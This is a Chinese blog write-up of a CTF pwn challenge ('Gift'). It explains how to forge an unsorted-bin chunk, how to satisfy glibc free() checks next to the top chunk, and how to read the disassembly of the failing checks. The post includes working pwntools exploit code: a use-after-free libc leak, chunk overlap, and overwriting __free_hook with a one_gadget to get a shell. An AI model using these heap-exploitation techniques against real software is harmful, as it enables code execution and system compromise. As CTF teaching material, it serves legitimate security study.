伪造unsortedbin释放时 top chunk的衔接问题

伪造unsorted bin来释放时 ,与top chunk的衔接问题

概述:

  1. 在泄漏libc时一般需要将chunk释放进入unsorted bin,但是有些题目不会给适合unsorted bin大小的chunk,这就要到修改原chunk字段size、或者伪造size字段,但是在伪造size字段后已分配的chunk如果不能衔接到top chunk的话,程序就会报错,那么要如何衔接到top chunk?。
  2. 一般是在**(伪造的chunk地址+改后size大小)这个地址处填上一个size**值,来衔接到top chunk。size值=top chunk地址-(伪造的chunk地址+改后size大小)地址 ,即top chunk地址 - 要填的size值的地址。

例题:[巅峰极客 2022]Gift

题目地址:[巅峰极客 2022]Gift | NSSCTF

思路:

  1. 修改next指向堆上的地址,在该地址处伪造一个属于unsortedbin的chunk,释放获取libc地址。
  2. 再申请0x60大小的chunk(由于tcache中没有,会到unsorted bin中取),从而造成overlaping,修改next指针,申请到free_hook,填入one_gadget获取shell。

分析:

  1. 题目给了add、free、show外加一个后门函数bargain(可以修改next指针,但是只能修改低4个字节,不能8个字节全改)。add函数只能申请10次,只能申请两种大小的chunk,所以常规的填满tcache方案基本不可行:

    image-20240731163935101

    分析得到申请的chunk结构体:

    image-20240731164241906

  2. free函数存在UAF,可以结合show函数来泄漏libc地址:

    image-20240731164028689

  3. show函数输出结构体中的内容:

    image-20240731164338097

  4. 只能使用一次的后门函数,可以用来修改next指针,但是只能修改低4字节:

    image-20240731164558636

利用:

  1. 在相对靠近下一个chunk的位置,伪造大小为0x451的chunk,用于衔接top chunk的size的位置和大小会在最后细讲:

    # 泄漏libc地址
    payload = p64(0)*21 + p64(0x451) + p64(0x0)+p64(0xf0)
    add(1,payload)  #0
    add(1,b"FFFF")  #1 
    add(1,b"FFFF")  #2
    add(1,b"FFFF")  #3   
    add(1,p64(0)*6*2 + p64(0)*11 + p64(0x41))  #4 用于衔接top chunk
    

    image-20240731165354644

    size填充:

    image-20240731165400775

  2. free两个chunk,然后修改next指针指向刚才伪造的chunk:

    free(0)
    free(1)
    
    # 泄漏libc地址
    p.sendlineafter(b':\n',b'5')
    p.sendlineafter(b'?',str(1).encode())
    p.sendlineafter(b'How much?',str(np.uint32(-0xc0)).encode())
    

    image-20240731165700088

  3. 申请拿到伪造的chunk,然后释放进入unsorted bin,泄漏libc地址:

    add(1,b"GGGGGGG")  #5
    add(1,b"JJJJJJJ")  #6
    free(6)
    show(6)
    p.recvuntilb(b"cost: ")
    addr = eval(p.recv(15))
    print(addr)
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = addr-(main_arena_offset+0x60)
    success("libc_addr==>"+hex(libc_base))
    
    system_addr = libc_base+libc.sym["system"]
    free_hook_addr = libc_base+libc.sym["__free_hook"]
    success("system_addr==>"+hex(system_addr))
    success("free_hook_addr==>"+hex(free_hook_addr))
    
  4. 最后,释放两个0x110chunk(第二次释放的必须是chunk1,后面要利用overlaping来修改他的next指针),再申请一个0x70的chunk(会从刚刚释放的unsorted bin中拿)造成overlaping,修改next指针指向free_hook-0x10,最后用one_gadget填入即可:

    #任意地址申请chunk 申请到free_hook
    # 修改next 指向free_hook-0x10
    free(2)
    free(1)
    add(2,p64(0)*7 + p64(0x111) + p64(free_hook_addr-0x10))  #4   
    add(1,b"aaaa")  #8
    
    #修改free_hook 写入ona_gadget
    add(1,p64(libc_base+0x4f302))  #9
    free(8)
    p.sendline(b"cat flag")
    p.interactive()
    

    image-20240731170304479

size填充位置和大小确定:

  1. 位置:伪造的chunk地址 + 伪造的size size大小:top chunk地址 - 前面计算得到的size填充的位置

    image-20240731171014832

  2. 修改一下填充的size大小 ==> 0x30,此时free伪造的chunk会报错,调试到报错位置看看具体因为什么报错:

    可以看到报错 corrupted size vs. prev_size 说明prev_size错误,为什么会报这个错误呢,下面分析报错位置前面的汇编指令:

    image-20240731171512386

    free+997地址处的比较指令出现的错误,其中r15寄存器是通过free的chunk地址+其size地址得到 ,也就是free的chunk的上一个chunk (高地址)这里假设该地址的chunk为chunk¥:

    image-20240731172854292

    为什么会与chunk ¥的上一个chunk的prev_size字段上的值比较呢,我们知道当前chunk的prev_size字段只有在当前chunk的下一个chunk(这里指低地址处)被释放时(当前chunk的prev_inuse位为0)才会启用。这里将chunk ¥的上一个chunk的prev_size字段使用了,说明程序已经判断chunk¥已经被释放,但是我们根本没有释放chunk ¥,程序是如何判断的呢?其实程序前面已经根据chunk ¥的上一个chunk的prev_inuse位来判断chunk ¥释放被释放

    所以程序已经确定了chunk¥被释放,然后才会调用下一个chunk的prev_size字段值(该字段可以用来记录上一个chunk的大小,这里就记录了chunk¥的大小,应该与其size值相同)

    image-20240731174047837

    现在如果在程序判断chunk¥已经被释放的情况下,我们将chunk¥的下一个chunk的prev_size字段强制赋值位chunk¥的size大小(绕过这个cmp检查),这样会发生什么?

    add(1,p64(0)*6*2 + p64(0)*11 + p64(0x31) + p64(0)*4 + p64(0x30))  #4
    

    image-20240731174646349

    发现程序在free + 1011的位置报了段错误,原因是访问地址rdx+0x18 = 0x18 时程序在地址0x18处的地址根本不存在,分析前面为rdx赋值操作,rdx=chunk¥->fd;rsi=chnk¥->bk(寻址到chunk¥的前后两个chunk),说明此时正在进行unorted bin合并时的检查,检查链表上chunk¥的完整性。但是我们的chunk¥本来就没有释放过,检查肯定就不能通过:

    image-20240731175549610

    程序合并chunk¥的原因是前面判断了chunk¥已经被释放,如果我们让前面判断chunk¥释放不成立呢(即让chunk¥的下一个chunk的prev_inuse位为1),是不是能绕过检查。这里只需要让&chunk¥ + size + 8处的值为1即可,并且前面伪造的chunk¥的下一个chunk的prev_size也不会其作用(因为chunk¥没被释放时下一个chunk的prev_size位不会启用):

    add(1,p64(0)*6*2 + p64(0)*11 + p64(0x31) + p64(0)*4 + p64(0) + p64(1))  #4
    

    image-20240731180642955

    此时,再定位到程序判定chunk¥是否被释放的位置:

    image-20240731181043383

    image-20240731181118246

    可见,即使size的大小填充的不合理,没有衔接到top chunk,伪造的chunk也能正常free,只需要将下一个chunk(相对于填充size的chunk)的prev_inuse位填充位1即可,其实正常衔接到top chunk也是利用了top chunk的prev_inuse位来判断chunk¥未被释放。我们再极端一点,将chunk¥的size改为0x11,相应下一个chunk的prev_inuse位仍为1,看看程序是否能正常free掉0x450chunk:

    add(1,p64(0)*6*2 + p64(0)*11 + p64(0x11) + p64(0) + p64(1))  #4
    

    image-20240731181915433

    正常释放掉0x450chunk,并拿到flag:

    image-20240731181958089

    image-20240731182216215

    image-20240731182017140

  3. 继续分析程序,如果将伪造的chunk0x450的size位为0x450,程序会发生什么?:

    image-20240731183730034

    这里伪造的chunk的prev_size字段没有填充值,但是上面看到是0,所以下面的rax寄存器的值是0。

    程序判断上一个chunk已经被释放,进而去进行向前合并操作,但是prev_size值不合理**,如果合理后面还会对上个chunk进行完整性检查** :

    image-20240731185124039

    所以在unsorted合并时,是会判断prev_size值与真正的size值是否相同的,这也是为什么要在unlink时要伪造好prev_size值(上图看到,prev_size在程序寻找到相邻被释放的chunk时也会用)。

    prev_size改为填充为0x10,相应上一个chunk的size位改为0x11,程序判断prev_size与size通过就会去合并上一个chunk:

    payload = p64(0)*19 + p64(0x11) + p64(0x10) + p64(0x450) + p64(0x0)+p64(0xf0)
    add(1,payload)  #0
    

    image-20240731190024698

    完整性检验,通过后就会合、链入(这里不会通过,当然泄漏堆的地址后,在堆上伪造两个chunk也是能通过校验的):

    image-20240731190229842

    image-20240731191115573

总结:

  1. 释放一个unsorted bin:
    • 首先判断是否与top chunk相邻,相邻则直接回归top chunk
    • 然后,判断与其相邻的chunk是否被释放:
      • 低地址处的chunk,直接用当前待释放的chunk的prev_inuse判断。
      • 高地址处的chunk,用下下个chunk(高地址)的prev_inuse位来判断。
    • 判断如果相邻的chunk也被释放的话,就会和待释放的chunk合并(要对前面判断的已释放的chunk进行完整性检查)
    • 如果相邻的chunk都未释放的话,就不会合并,该chunk直接释放进入unsorted。
  2. 伪造属于unsorted bin的chunk时,如果要衔接top chunk,直接在**(伪造的chunk地址 + 伪造的chunk的size)该地址处填上0x10 + p64(0) + p64(1)** ,即可绕过判断,正常free掉chunk。
  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
资源包主要包含以下内容: ASP项目源码:每个资源包中都包含完整的ASP项目源码,这些源码采用了经典的ASP技术开发,结构清晰、注释详细,帮助用户轻松理解整个项目的逻辑和实现方式。通过这些源码,用户可以学习到ASP的基本语法、服务器端脚本编写方法、数据库操作、用户权限管理等关键技术。 数据库设计文件:为了方便用户更好地理解系统的后台逻辑,每个项目中都附带了完整的数据库设计文件。这些文件通常包括数据库结构图、数据表设计文档,以及示例数据SQL脚本。用户可以通过这些文件快速搭建项目所需的数据库环境,并了解各个数据表之间的关系和作用。 详细的开发文档:每个资源包都附有详细的开发文档,文档内容包括项目背景介绍、功能模块说明、系统流程图、用户界面设计以及关键代码解析等。这些文档为用户提供了深入的学习材料,使得即便是从零开始的开发者也能逐步掌握项目开发的全过程。 项目演示与使用指南:为帮助用户更好地理解和使用这些ASP项目,每个资源包中都包含项目的演示文件和使用指南。演示文件通常以视频或图文形式展示项目的主要功能和操作流程,使用指南则详细说明了如何配置开发环境、部署项目以及常见问题的解决方法。 毕业设计参考:对于正在准备毕业设计的学生来说,这些资源包是绝佳的参考材料。每个项目不仅功能完善、结构清晰,还符合常见的毕业设计要求和标准。通过这些项目,学生可以学习到如何从零开始构建一个完整的Web系统,并积累丰富的项目经验。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值